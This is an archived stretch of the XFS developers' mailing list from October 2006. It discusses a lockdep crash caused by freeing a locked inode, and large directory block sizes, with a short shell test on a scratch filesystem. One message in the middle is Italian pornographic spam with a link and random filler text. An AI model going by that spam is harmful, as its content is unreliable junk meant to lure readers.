(950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA09337; Tue, 10 Oct 2006 09:35:54 +1000 Message-ID: <452ADCE9.2070402@sgi.com> Date: Tue, 10 Oct 2006 09:36:09 +1000 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: xfs vs. lockdep References: <452A8DE2.4000608@sandeen.net> In-Reply-To: <452A8DE2.4000608@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9229 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O Eric Sandeen wrote: > FC6 kernels are oopsing when lockdep & memory debugging are turned on, > looks like due to this code: > > xfs_ireclaim(xfs_inode_t *ip) > { > ... > /* > * Here we do a spurious inode lock in order to coordinate with > * xfs_sync(). This is because xfs_sync() references the inodes > * in the mount list without taking references on the corresponding > * vnodes. We make that OK here by ensuring that we wait until > * the inode is unlocked in xfs_sync() before we go ahead and > * free it. We get both the regular lock and the io lock because > * the xfs_sync() code may need to drop the regular one but will > * still hold the io lock. > */ > xfs_ilock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); > ... > /* > * Free all memory associated with the inode. > */ > xfs_idestroy(ip); > } > > So, lock & free. This frees memory that lockdep is still pointing to, > and tries to use later. > > Calling xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); just before > xfs_idestroy seems to solve it, but is this safe...? > > -Eric > > Hi Eric, Could you please provide some more information. What kernel, test case and call stack at the time of the crash. Thanks, Vlad From owner-xfs@oss.sgi.com Mon Oct 9 17:48:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 17:48:24 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9A0mHaG025981 for ; Mon, 9 Oct 2006 17:48:20 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA10792; Tue, 10 Oct 2006 10:47:30 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9A0lS7Y3880156; Tue, 10 Oct 2006 10:47:28 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9A0lQQN1714100; Tue, 10 Oct 2006 10:47:26 +1000 (AEST) Date: Tue, 10 Oct 2006 10:47:26 +1000 From: David Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: xfs vs. lockdep Message-ID: <20061010004726.GO11034@melbourne.sgi.com> References: <452A8DE2.4000608@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452A8DE2.4000608@sandeen.net> User-Agent: Mutt/1.4.2.1i X-archive-position: 9230 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 09, 2006 at 12:58:58PM -0500, Eric Sandeen wrote: > FC6 kernels are oopsing when lockdep & memory debugging are turned on, > looks like due to this code: > > xfs_ireclaim(xfs_inode_t *ip) > { > ... > /* > * Here we do a spurious inode lock in order to coordinate with > * xfs_sync(). This is because xfs_sync() references the inodes > * in the mount list without taking references on the corresponding > * vnodes. We make that OK here by ensuring that we wait until > * the inode is unlocked in xfs_sync() before we go ahead and > * free it. We get both the regular lock and the io lock because > * the xfs_sync() code may need to drop the regular one but will > * still hold the io lock. > */ > xfs_ilock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); > ... > /* > * Free all memory associated with the inode. > */ > xfs_idestroy(ip); > } > > So, lock & free. This frees memory that lockdep is still pointing to, > and tries to use later. > > Calling xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); just before > xfs_idestroy seems to solve it, but is this safe...? It should be - we call xfs_iextract() before the xfs_ilock() call shown above. That means the inode has been removed from the mount list when we take the locks. Once the inode has been removed from the mount list, the only possible current user is xfs_sync_inodes(), and it will only be referencing the inode if it is currently working on the inode. If it is working on the inode, then it will be holding at least one of the inode locks. Hence by the time we have the lock here in xfs_ireclaim we have guaranteed that there are no other outstanding references and no new references can occur. Therefore it should be safe to drop the lock before destroying it. There have been other bits of code in XFS where locks have been taken just before item destroy. IIRC, one even had a comment explaining it was safe to do this that was longer than just putting the unlock call in the code. :/ FWIW, we call mrfree() on both the ilock and the iolock, but these are #defined to null statements. If there is a destructor for the underlying lock type, we probably should call that in mrfree() so the debugging code can catch these probelms that only trigger in debug code. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 9 18:46:53 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 18:46:56 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9A1knaG030188 for ; Mon, 9 Oct 2006 18:46:51 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA11868; Tue, 10 Oct 2006 11:45:55 +1000 Date: Tue, 10 Oct 2006 11:45:55 +1000 From: Timothy Shimmin To: David Chinner , Eric Sandeen cc: xfs@oss.sgi.com Subject: Re: xfs vs. lockdep Message-ID: In-Reply-To: <20061010004726.GO11034@melbourne.sgi.com> References: <452A8DE2.4000608@sandeen.net> <20061010004726.GO11034@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9231 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 10 October 2006 10:47:26 AM +1000 David Chinner wrote: > On Mon, Oct 09, 2006 at 12:58:58PM -0500, Eric Sandeen wrote: >> FC6 kernels are oopsing when lockdep & memory debugging are turned on, >> looks like due to this code: >> >> xfs_ireclaim(xfs_inode_t *ip) >> { >> ... >> /* >> * Here we do a spurious inode lock in order to coordinate with >> * xfs_sync(). This is because xfs_sync() references the inodes >> * in the mount list without taking references on the >> corresponding * vnodes. We make that OK here by ensuring that >> we wait until * the inode is unlocked in xfs_sync() before we >> go ahead and * free it. We get both the regular lock and the >> io lock because * the xfs_sync() code may need to drop the >> regular one but will * still hold the io lock. >> */ >> xfs_ilock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); >> ... >> /* >> * Free all memory associated with the inode. >> */ >> xfs_idestroy(ip); >> } >> >> So, lock & free. This frees memory that lockdep is still pointing to, >> and tries to use later. >> >> Calling xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); just before >> xfs_idestroy seems to solve it, but is this safe...? > > It should be - we call xfs_iextract() before the xfs_ilock() call > shown above. That means the inode has been removed from the mount > list when we take the locks. Once the inode has been removed > from the mount list, the only possible current user is xfs_sync_inodes(), > and it will only be referencing the inode if it is currently working > on the inode. If it is working on the inode, then it will be holding > at least one of the inode locks. > > Hence by the time we have the lock here in xfs_ireclaim we have guaranteed > that there are no other outstanding references and no new references > can occur. Therefore it should be safe to drop the lock before destroying > it. > Yeah, there really seems like something would be wrong if you can't unlock it before destroying it. I would have thought you'd need to guarantee that you are the only one with access to it before destroying it otherwise there'd be problems :) (Which as you say we do) This one rings a bell. I seem to recall multiple places where we destroy without releasing the lock first. And I vaguely remember Nathan mentioning that this was causing grief for lockdep:) --Tim From owner-xfs@oss.sgi.com Mon Oct 9 18:56:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 18:56:05 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9A1twaG032512 for ; Mon, 9 Oct 2006 18:56:01 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA11969; Tue, 10 Oct 2006 11:55:15 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9A1tD7Y3886947; Tue, 10 Oct 2006 11:55:14 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9A1tCZc3887999; Tue, 10 Oct 2006 11:55:12 +1000 (AEST) Date: Tue, 10 Oct 2006 11:55:12 +1000 From: David Chinner To: Steve Lord Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: Directories > 2GB Message-ID: <20061010015512.GQ11034@melbourne.sgi.com> References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452AC4BE.6090905@xfs.org> User-Agent: Mutt/1.4.2.1i X-archive-position: 9232 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 09, 2006 at 04:53:02PM -0500, Steve Lord wrote: > You might want to think about keeping the directory a little > more contiguous than individual disk blocks. XFS does have > code in it to allocate the directory in chunks larger than > a single file system block. It does not get used on linux > because the code was written under the assumption you can > see the whole chunk as a single piece of memory which does not > work to well in the linux kernel. This code is enabled and seems to work in Linux. I don't know if it passes xfsqa so I don't know how reliable this feature is. TO check it all I did was run a quick test on a x86_64 kernel (4k page size) using 16k directory blocks (4 pages): # mkfs.xfs -f -n size=16384 /dev/ubd/1 ..... # xfs_db -r -c "sb 0" -c "p dirblklog" /dev/ubd/1 dirblklog = 2 # mount /dev/ubd/1 /mnt/xfs # for i in `seq 0 1 100000`; do touch fred.$i; done # umount /mnt/xfs # mount /mnt/xfs # ls /mnt/xfs |wc -l 100000 # rm -rf /mnt/xfs/* # ls /mnt/xfs |wc -l 0 # umount /mnt/xfs # Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 9 19:07:28 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 19:07:31 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A27SaG003862 for ; Mon, 9 Oct 2006 19:07:28 -0700 X-ASG-Debug-ID: 1160446006-15192-349-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id BB338D18599C for ; Mon, 9 Oct 2006 19:06:46 -0700 (PDT) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id ADF6028A26; Tue, 10 Oct 2006 12:06:27 +1000 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 767CE5340F3; Tue, 10 Oct 2006 12:06:27 +1000 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 06954-01-73; Tue, 10 Oct 2006 12:06:23 +1000 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id BB5E353403A; Tue, 10 Oct 2006 12:06:20 +1000 (EST) X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB From: Nathan Scott Reply-To: nscott@aconex.com To: David Chinner Cc: lord@xfs.org, xfs@oss.sgi.com In-Reply-To: <20061010015512.GQ11034@melbourne.sgi.com> References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> Content-Type: text/plain Organization: Aconex Date: Tue, 10 Oct 2006 12:07:15 +1000 Message-Id: <1160446035.8366.42.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22930 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9233 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-10 at 11:55 +1000, David Chinner wrote: > On Mon, Oct 09, 2006 at 04:53:02PM -0500, Steve Lord wrote: > > You might want to think about keeping the directory a little > > more contiguous than individual disk blocks. XFS does have > > code in it to allocate the directory in chunks larger than > > a single file system block. It does not get used on linux > > because the code was written under the assumption you can > > see the whole chunk as a single piece of memory which does not > > work to well in the linux kernel. > > This code is enabled and seems to work in Linux. I don't know if it > passes xfsqa so I don't know how reliable this feature is. It did at one point - though I've not tested that combination for awhile, I expect it will still work fine. It should - the artist-formerly-known-as-pagebuf does handle multiple discontiguous pages, and the dir2 code is using that memory in a way thats going to work correctly, IIRC. cheer -- Nathan From owner-xfs@oss.sgi.com Mon Oct 9 19:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 19:07:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A27gaG003920 for ; Mon, 9 Oct 2006 19:07:43 -0700 X-ASG-Debug-ID: 1160441494-17130-39-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from MYCOMPUTER.345b2id.org (pool-70-19-91-54.ny325.east.verizon.net [70.19.91.54]) by cuda.sgi.com (Spam Firewall) with ESMTP id BA221D1892DD for ; Mon, 9 Oct 2006 17:51:36 -0700 (PDT) Message-ID: <27759614296651.8BDD9083C6@V8RMZ> From: "Dexter Pickens" <314carmine@cardsgate-cs.com> To: X-ASG-Orig-Subj: Giovane ragazze nude mostrnao fighe strette. Subject: Giovane ragazze nude mostrnao fighe strette. Date: Mon, 9 Oct 2006 20:48:36 -0400 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: drIEx0sTrnvvQnJuF8gn16W9gOIIeBz6ZOJd Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22927 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9234 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: 314carmine@cardsgate-cs.com Precedence: bulk X-list: xfs Status: O Frankie Video con ragazze timide, che giocano con le mani con sue fighe e godoon insieme. http://www.geocities.com/fuveho40368 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Video con le ragazze giovane belle, che fanno sesso. might be nutritious, but they did not allay my need for something lesstrunk was a space of utter dark, where none of the light plants grew.striking into my brain roused me. I blinked, trying, to come fullyI sighted him at last. He had gone down on one knee, his head almostfar away. Some of its survival tools - the weapons - if they still From owner-xfs@oss.sgi.com Mon Oct 9 19:16:19 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 19:16:22 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A2GJaG005711 for ; Mon, 9 Oct 2006 19:16:19 -0700 X-ASG-Debug-ID: 1160446536-8587-91-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from relay04.roc.ny.frontiernet.net (relay04.roc.ny.frontiernet.net [66.133.182.167]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9136E47ED70 for ; Mon, 9 Oct 2006 19:15:36 -0700 (PDT) X-Trace: 53616c7465645f5f50e6a3e1e0bc0a4428f87adc22a08f5675be8ec0086993b6e89418c207721a33086e2d0840802b1538eb98f8361361aa4413473ed1c99eb613963e4acbff7f47361ade957c3ac4b6a4d4b15a863af9b35f77f07093694540 Received: from [192.168.1.100] (74-37-216-243.dsl1.lkv.mn.frontiernet.net [74.37.216.243]) by relay04.roc.ny.frontiernet.net (Postfix) with ESMTP id 4B9ED10030A; Tue, 10 Oct 2006 02:15:29 +0000 (UTC) Message-ID: <452B0240.60203@xfs.org> Date: Mon, 09 Oct 2006 21:15:28 -0500 From: Steve Lord User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: David Chinner CC: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> In-Reply-To: <20061010015512.GQ11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22929 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9235 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lord@xfs.org Precedence: bulk X-list: xfs Status: O Hi Dave, My recollection is that it used to default to on, it was disabled because it needs to map the buffer into a single contiguous chunk of kernel memory. This was placing a lot of pressure on the memory remapping code, so we made it not default to on as reworking the code to deal with non contig memory was looking like a major effort. Steve David Chinner wrote: > On Mon, Oct 09, 2006 at 04:53:02PM -0500, Steve Lord wrote: >> You might want to think about keeping the directory a little >> more contiguous than individual disk blocks. XFS does have >> code in it to allocate the directory in chunks larger than >> a single file system block. It does not get used on linux >> because the code was written under the assumption you can >> see the whole chunk as a single piece of memory which does not >> work to well in the linux kernel. > > This code is enabled and seems to work in Linux. I don't know if it > passes xfsqa so I don't know how reliable this feature is. TO check > it all I did was run a quick test on a x86_64 kernel (4k page > size) using 16k directory blocks (4 pages): > > # mkfs.xfs -f -n size=16384 /dev/ubd/1 > ..... > # xfs_db -r -c "sb 0" -c "p dirblklog" /dev/ubd/1 > dirblklog = 2 > # mount /dev/ubd/1 /mnt/xfs > # for i in `seq 0 1 100000`; do touch fred.$i; done > # umount /mnt/xfs > # mount /mnt/xfs > # ls /mnt/xfs |wc -l > 100000 > # rm -rf /mnt/xfs/* > # ls /mnt/xfs |wc -l > 0 > # umount /mnt/xfs > # > > Cheers, > > Dave. From owner-xfs@oss.sgi.com Mon Oct 9 19:21:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 19:21:56 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A2LraG006398 for ; Mon, 9 Oct 2006 19:21:54 -0700 X-ASG-Debug-ID: 1160446871-20152-172-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0826648DCA4 for ; Mon, 9 Oct 2006 19:21:12 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id E06CB180377EA; Mon, 9 Oct 2006 21:21:10 -0500 (CDT) Message-ID: <452B0396.8060506@sandeen.net> Date: Mon, 09 Oct 2006 21:21:10 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Timothy Shimmin CC: David Chinner , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs vs. lockdep Subject: Re: xfs vs. lockdep References: <452A8DE2.4000608@sandeen.net> <20061010004726.GO11034@melbourne.sgi.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22932 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9236 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Timothy Shimmin wrote: >> Hence by the time we have the lock here in xfs_ireclaim we have >> guaranteed >> that there are no other outstanding references and no new references >> can occur. Therefore it should be safe to drop the lock before destroying >> it. >> > Yeah, there really seems like something would be wrong if you can't > unlock it before destroying it. I thought so too; if anybody else might catch it post-unlock pre-free, they're in for a big surprise anyway :) > I would have thought you'd need to guarantee that you are the only > one with access to it before destroying it otherwise there'd be problems :) > (Which as you say we do) right. > This one rings a bell. I seem to recall multiple places where we destroy > without releasing the lock first. > And I vaguely remember Nathan mentioning that this was causing grief > for lockdep:) Ok, cool. Want a formal patch or you guys want to just free it up... /* * Free all memory associated with the inode. */ + xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); xfs_idestroy(ip); Thanks, -Eric From owner-xfs@oss.sgi.com Mon Oct 9 19:26:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 19:26:30 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A2QQaG007054 for ; Mon, 9 Oct 2006 19:26:26 -0700 X-ASG-Debug-ID: 1160447144-24831-379-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 20F7BD1859A0 for ; Mon, 9 Oct 2006 19:25:45 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 43B97180377EA; Mon, 9 Oct 2006 21:25:44 -0500 (CDT) Message-ID: <452B04A7.3090400@sandeen.net> Date: Mon, 09 Oct 2006 21:25:43 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs vs. lockdep Subject: Re: xfs vs. lockdep References: <452A8DE2.4000608@sandeen.net> <20061010004726.GO11034@melbourne.sgi.com> In-Reply-To: <20061010004726.GO11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22930 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9237 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O David Chinner wrote: > FWIW, we call mrfree() on both the ilock and the iolock, but these are > #defined to null statements. If there is a destructor for the underlying > lock type, we probably should call that in mrfree() so the debugging code > can catch these probelms that only trigger in debug code. From a quick look I don't see those destructors, might be good to write some though. It'd also be good to turn our spinlock_destroy(lock) into a WARN_ON(spin_is_locked(lock)) or something... it'd be extra nice if lockdep could grok that the lock it's looking at is full of free poison, print a warning, take it off the list and move on... this was a bear to figure out which one was causing the problem. I have a few changes to get more desructors called for some of the newer locks that are missing them (think agirotor_lock...) that I'll send when I get a moment. -Eric > Cheers, > > Dave. From owner-xfs@oss.sgi.com Mon Oct 9 20:07:44 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 20:08:04 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9A37haG010652 for ; Mon, 9 Oct 2006 20:07:44 -0700 X-ASG-Debug-ID: 1160449621-15975-10-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4601048BD11 for ; Mon, 9 Oct 2006 20:07:01 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id AB21218C6725F; Mon, 9 Oct 2006 22:06:59 -0500 (CDT) Message-ID: <452B0E53.2070507@sandeen.net> Date: Mon, 09 Oct 2006 22:06:59 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Vlad Apostolov CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs vs. lockdep Subject: Re: xfs vs. lockdep References: <452A8DE2.4000608@sandeen.net> <452ADCE9.2070402@sgi.com> In-Reply-To: <452ADCE9.2070402@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22932 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9238 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Vlad Apostolov wrote: > Hi Eric, > > Could you please provide some more information. What kernel, test case > and call stack at the time of the crash. > > Thanks, > Vlad Vlad, for reference, this was a very recent FC6 test kernel, which has lockdep & slab debugging on. Oopsing is as simple as mounting & umounting. It dies in lockdep code. See also https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=209062 -Eric From owner-xfs@oss.sgi.com Mon Oct 9 20:24:14 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 20:24:16 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9A3OAaG016771 for ; Mon, 9 Oct 2006 20:24:12 -0700 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA13988; Tue, 10 Oct 2006 13:23:23 +1000 Message-ID: <452B123A.9030700@sgi.com> Date: Tue, 10 Oct 2006 13:23:38 +1000 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: xfs vs. lockdep References: <452A8DE2.4000608@sandeen.net> <452ADCE9.2070402@sgi.com> <452B0E53.2070507@sandeen.net> In-Reply-To: <452B0E53.2070507@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9239 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com 